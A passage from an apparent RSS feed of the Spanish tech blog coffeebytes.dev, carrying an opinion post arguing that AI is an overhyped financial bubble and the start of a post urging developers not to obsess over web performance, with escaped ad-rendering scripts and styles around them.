Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;muchas-empresas-de-ai-no-pueden-mantener-las-expectativas&#34;&gt;Muchas empresas de AI no pueden mantener las expectativas&lt;/h2&gt;&#xA;&lt;p&gt;Builder.AI, una prometedora IA que ofrecía sitios web creados con IA, no era más que un grupo de desarrolladores indios trabajando entre bastidores, y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://finance.yahoo.com/news/builder-ais-shocking-450m-fall-170009323.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;acaba de declararse en quiebra&lt;/a&gt;&#xA;. ¿Ves? No hay AGI.&lt;/p&gt;&#xA;&lt;p&gt;Esta es solo otra prueba más de que muchas empresas de IA están jugando al gato y al ratón con el dinero de los inversores. Intentan crear expectativas para obtener dinero de los inversores ángeles y de quien sea, y luego caen estrepitosamente cuando no cumplen con lo prometido. Pero en ese momento, a quién le importa, ya se ha ganado el dinero y los negocios implican riesgos, así que&amp;hellip;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/meme-ai-is-this.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/meme-ai-is-this.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme que se burla de las capacidades de la AI&#34; width=&#34;630&#34; height=&#34;1061&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;De igual forma, Devin AI cayó en el olvido. Al mismo tiempo, estamos apreciando la ley de rendimentos decrecientes en cada nuevo LLM que aparece, los modelos generativos ya están llegando a ese punto también.&lt;/p&gt;&#xA;&lt;p&gt;Inclusive, algunas compañias ya abandonaron la idea de reemplazar desarrolladores y se enfocaron en volverse herramientas de creación de código, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/bolt-vs-lovable-vs-v0-vercel-comparando-resultados-y-mi-opinion/&#34;&gt;Bolt, Lovable o V0&lt;/a&gt;&#xA;, y otras están surgiendo para posicionarse como asistentes de código para desarrolladores: Opencode, Claude Code, Codex, etc.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;humanitys-last-exam-muestra-que-estamos-muy-lejos-de-la-agi&#34;&gt;Humanity&amp;rsquo;s last exam muestra que estamos muy lejos de la AGI&lt;/h2&gt;&#xA;&lt;p&gt;Consideremos las puntuaciones del último examen de la Humanidad, como pueden ver estamos alrededor del ~30%, &lt;strong&gt;lo cual es francamente mucho, no creo que hayamos estado de un avance tan significativo como este&lt;/strong&gt;, solo pensar en las posibilidades me hace temblar, pero los inversores y los medios de comunicación clickbait están tratando de convencerlos de que estamos alrededor del 100%, lo cual es una falacia de tamaño descomunal.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1754517008/coffee-bytes/humanity-last-exam-x1080_qhksix.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1754517008/coffee-bytes/humanity-last-exam-x1080_qhksix.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Humanity&amp;#39;s last exam score&#34; width=&#34;570&#34; height=&#34;540&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;No te confundas, estos valores son increíbles, &lt;strong&gt;pero no son la panacea que venden los medios y los inversores.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;la-burbuja-de-ai-es-culpa-de-la-ignorancia-de-inversores-y-consumidores&#34;&gt;La burbuja de AI es culpa de la ignorancia de inversores y consumidores&lt;/h2&gt;&#xA;&lt;p&gt;Basta con que una empresa use AI para dotarla de una magia desconocida que la vuelve irresistible hacia el público en general, y también para los inversionistas. Y esto por una sencilla razón: como sociedad no entendemos como funciona la AI a nivel interno, no entendemos las estadísticas detrás y le dotamos del misticismo de la magia.&lt;/p&gt;&#xA;&lt;p&gt;Los consumidores, generalmente negocios, esperan que la AI reduzca (o elimine) los costos de contratar personal y los inversores esperan la inversión de sus vidas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748837232/coffee-bytes/ai-expectations-vs-reality_zwg4xh.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748837232/coffee-bytes/ai-expectations-vs-reality_zwg4xh.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;My AI reality vs expectations diagram&#34; width=&#34;3082&#34; height=&#34;2695&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;No es que la AI no sea valiosa, lo es, solo que, actualmente, su valor está inflado&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;la-fiebre-financiera-por-la-ai-y-la-inversion-de-capital&#34;&gt;La fiebre financiera por la AI y la inversión de capital&lt;/h2&gt;&#xA;&lt;p&gt;Por supuesto, los inversores no quieren quedarse fuera de esta fiesta y están tan deseosos de sacarse la lotería y convertirse en el nuevo Zuckerberg de la inteligencia artificial, que abren sus carteras sin pensarlo cada vez que escuchan la palabra &amp;ldquo;AI&amp;rdquo; en el mismo enunciado que &amp;ldquo;disruptivo&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/wallstreet-is-dumb.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/wallstreet-is-dumb.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Wallstreet no tiene idea de AI&#34; width=&#34;630&#34; height=&#34;391&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Pero, en mi opinión, todo esto no es más que un montón de empresas y emprendedores actuando en consecuencia a lo anterior, tal como sospecho que hicieron los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/&#34;&gt;creadores de Devin, el supuesto reemplazo de los programadores&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;El mercado intenta conseguir dinero fácil y rápido por el creciente y repentino interés de los legos del mundo de la tecnología por algo tan abstracto, y con aires tan esotéricos, como lo es la AI.&lt;/p&gt;&#xA;&lt;h3 id=&#34;los-despidos-causados-por-la-ai&#34;&gt;Los despidos causados por la AI&lt;/h3&gt;&#xA;&lt;p&gt;Probablemente has presenciado el ambiente de incertidumbre en la industría de la tecnología, tienes miedo de perder tu trabajo, tienes miedo de que te reemplacen. Si bien es cierto que la vara está más alta y la maquila de código ya no tiene valor, los despidos no responden a la AI, sino a otras causas.&lt;/p&gt;&#xA;&lt;p&gt;Las empresas han aprovechado las circunstancias para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.forbes.com/sites/maryroeloffs/2026/05/07/ceos-say-layoffs-are-ais-fault-but-some-experts-think-companies-are-lying/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;hacer AI-washing con los despidos y culpar a la AI&lt;/a&gt;&#xA; de sus decisiones financieras.&lt;/p&gt;&#xA;&lt;h2 id=&#34;muchas-de-las-soluciones-de-ai-son-solo-wrappers-de-chatgpt&#34;&gt;Muchas de las soluciones de AI son solo wrappers de ChatGPT&lt;/h2&gt;&#xA;&lt;p&gt;Aunado a esto, la mayoría de las personas involucradas en el aspecto financiero de la AI no comprenden que realmente no ha cambiado mucho en el mundo del código, la mayoría de las soluciones solo usan a ChatGPT por detrás, junto a una interfaz linda para presentarse como el siguiente unicornio y buscar el dinero fácil de los inversores.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/ai-company-chatgpt.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/ai-company-chatgpt.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Las startups solo son un wrapper de chatgpt&#34; width=&#34;630&#34; height=&#34;486&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;No es que usar chatGPT para tu empresa esté mal, pero si una app es sólo un envoltorio de GPT, el riesgo de convertirse en una commodity es alto, ¿vamos a tener miles de apps diferentes que resuelven el mismo problema y son sólo envoltorios de chatGPT? No puedes tener un unicornio que cualquiera puede replicar con unas cuantas lineas de código.&lt;/p&gt;&#xA;&lt;p&gt;A pesar de que se han creado protocolos para interacción con los LLM; como el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA;, lo más abundante son AI Wrappers.&lt;/p&gt;&#xA;&lt;p&gt;Y no es que lo anterior esté mal, pero yo preferiría que se exploraran todas las posibilidades que la AI tiene para ofrecer, que entrenáramos redes neuronales para automatizar cada aspecto tedioso de la sociedad y liberar al ser humano del paradigma de efectuar tareas repetitivas de 9-5, quizás el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/inteligencia-artificial-y-diseno-de-farmacos-y-medicamentos-para-desarrolladores/&#34;&gt;diseño de mejores drogas por medio de la inteligencia artificial&lt;/a&gt;&#xA;. Yo sí quiero más inversión en AI, pero que &amp;ldquo;agregue valor&amp;rdquo;, no solo que busque obtener rendimientos rápido.&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-empresas-se-quedan-sin-datos-para-entrenar-a-los-llm&#34;&gt;Las empresas se quedan sin datos para entrenar a los LLM&lt;/h2&gt;&#xA;&lt;p&gt;También existe un límite físico para el desarrollo de la AI y este es la cantidad de datos y la capacidad de procesamiento. El segundo podemos resolverlo, pero ¿y el primero? La AI es tan buena como los datos que se usan para entrenarla y estos se volverán cada vez más escasos, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://futurism.com/artificial-intelligence/over-50-percent-internet-ai-slop&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;más del 50% del contenido online ahora es generado por AI.&lt;/a&gt;&#xA;, estamos entrando en la ley de rendimientos decrecientes. Y, no soy el único que piensa esto.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/nkdZRBFtqSs?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;La avaricia que alimenta el uso de la AI va a inundar internet con una miríada de artículos sobre AI, que van a ser usados para alimentar a la AI y esta los regurgitará, una y otra vez &lt;del&gt;como en la película del ciempiés humano&lt;/del&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-fin-de-la-burbuja-de-ai-y-la-nueva-normalidad&#34;&gt;El fin de la burbuja de AI y la nueva normalidad&lt;/h2&gt;&#xA;&lt;p&gt;Dicho lo anterior pareciera que creo que todo esto de la AI no es más que humo y espejos, pero no, &lt;strong&gt;yo creo que la AI va a quedarse y su potencial de revolución social, al menos en el corto plazo, va a ser exclusiva de un grupo muy reducido de empresas&lt;/strong&gt;, entre las que destaco openAI, Google, Microsoft y los jugadores de siempre.&lt;/p&gt;&#xA;&lt;p&gt;En mi opinión, las Inteligencias Artificiales son el autocompletado definitivo, ya sea de texto, imágenes o video, nada más. La AGI es un hito que se mantiene distante en el futuro.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Machines don’t learn. What a typical “learning machine” does, is finding a mathematical formula, which, when applied to a collection of inputs (called “training data”), produces the desired outputs. This mathematical formula also generates the correct outputs for most other inputs (distinct from the training data) on the condition that those inputs come from the same or a similar statistical distribution as the one the training data was drawn from. -Andriy Burkov&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;La burbuja financiera va a tronar, el hype va a morir y vamos a alcanzar un &lt;em&gt;plateau&lt;/em&gt; en donde las personas van a entender el potencial real de la AI, así mismo sus limitaciones, y se convertirá en una herramienta más a disposición. Sí, el internet va a cambiar en ese momento para siempre. Y finalmente los AI bros pasarán al siguiente trend y dejarán de esparcir FOMO en redes.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/ai-bubble-explosion-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/images/ai-bubble-explosion-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de dragon ball sobre la explosión de la burbuja de AI&#34; width=&#34;630&#34; height=&#34;473&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Antes de que leas esta entrada, quiero que algo quede muy claro. &lt;strong&gt;Una burbuja no implica que algo sea inútil o sea falso o vaya desaparecer, lo que implica es que su valuación en el mercado está muy por encima de su valor real.&lt;/strong&gt;. Eventualmente el mercado se corregirá y su valor caerá.&lt;/p&gt;&#xA;&lt;p&gt;Lo que se debate aquí no es si la AI es útil o no, claro que lo es, por lo menos para un sector específico de la población (los programadores), lo que se debate es si está inflada o no en el mercado.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>No Te Obsesiones Con El Rendimiento De Tu Aplicacion Web</title>
      <link>https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/</link>
      <pubDate>Wed, 03 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Esta entrada es para ti, que quieres independizarte de las empresas y estas buscando crear tus propios proyectos en el mundo del internet ¿Has pensado si de verdad importan tanto esos milisegundos de rendimiento extra que obtenemos al cambiar un proyecto a un lenguaje más verboso o si la búsqueda del framework más veloz realmente vale la pena?&lt;/p&gt;&#xA;&lt;p&gt;En el mundo de los programadores hay una obsesión por la velocidad y el rendimiento; queremos exprimir cada milisegundo posible al lenguaje y reducir el consumo de memoria al mínimo posible y escribir las queries en su versión más elegante que lleve al límite de la velocidad a nuestra base de datos y los sometemos al más riguroso análisis de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/&#34;&gt;rendimiento big O&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/rust-and-go-performance-for-common-data-structures-arrays.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/rust-and-go-performance-for-common-data-structures-arrays.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rust vs go Benchmark, rust es superior&#34; width=&#34;600&#34; height=&#34;371&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En esa búsqueda constante pasamos de lenguajes de alto nivel a lenguajes de más bajo nivel, deambulamos por los rincones más oscuros de la documentación rumbo a los runtimes más esotéricos escritos en lenguajes arcanos cuyos nombres parecen sacados de un diccionario de otro idioma. ¿Se te vino a la mente alguno en particular? A mi sí.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || 